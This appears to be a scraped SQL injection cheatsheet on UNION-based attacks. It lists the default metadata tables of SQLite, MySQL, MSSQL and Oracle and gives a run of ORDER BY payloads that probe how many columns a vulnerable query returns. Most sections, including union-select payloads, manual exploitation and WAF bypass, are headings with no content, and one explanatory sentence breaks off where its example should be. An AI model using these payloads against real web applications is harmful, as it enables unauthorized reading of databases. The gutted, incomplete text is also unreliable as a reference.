📀Union Cheatsheet
Default table in Databases
-----------|--------------------------------------------------------
SQLite: | sqlite_master
-----------|--------------------------------------------------------
MySQL | information_schema
-----------|--------------------------------------------------------
MSSQL | information_schema
-----------|--------------------------------------------------------
Oracle: | dual
-----------|--------------------------------------------------------Detect the number of vulnerable columns
ORDER BY 1-- -
ORDER BY 2-- -
ORDER BY 3-- -
ORDER BY 4-- -
ORDER BY 5-- -
ORDER BY 6-- -
ORDER BY 7-- -
ORDER BY 8-- -
ORDER BY 9-- -
ORDER BY 10-- -
ORDER BY 1#
ORDER BY 2#
ORDER BY 3#
ORDER BY 4#
ORDER BY 5#
ORDER BY 6#
ORDER BY 7#
ORDER BY 8#
ORDER BY 9#
ORDER BY 10#
Union Select Payloads
String Concatenation & Comments
----------------------------------------------------------------
Manual Exploitation
----------------------------------------------------------------
WAF Bypass
----------------------------------------------------------------
UNION Attack, Querying the database type and version
-------------------------------------------------------------
Database-specific syntax On Oracle, every SELECT query must use the FROM keyword and specify a valid table.
There is a built-in table on Oracle called dual which can be used for this purpose. So the injected queries on Oracle would need to look like:
-------------------------------------------------------------
Finding columns with a useful data type
-------------------------------------------------------------
Last updated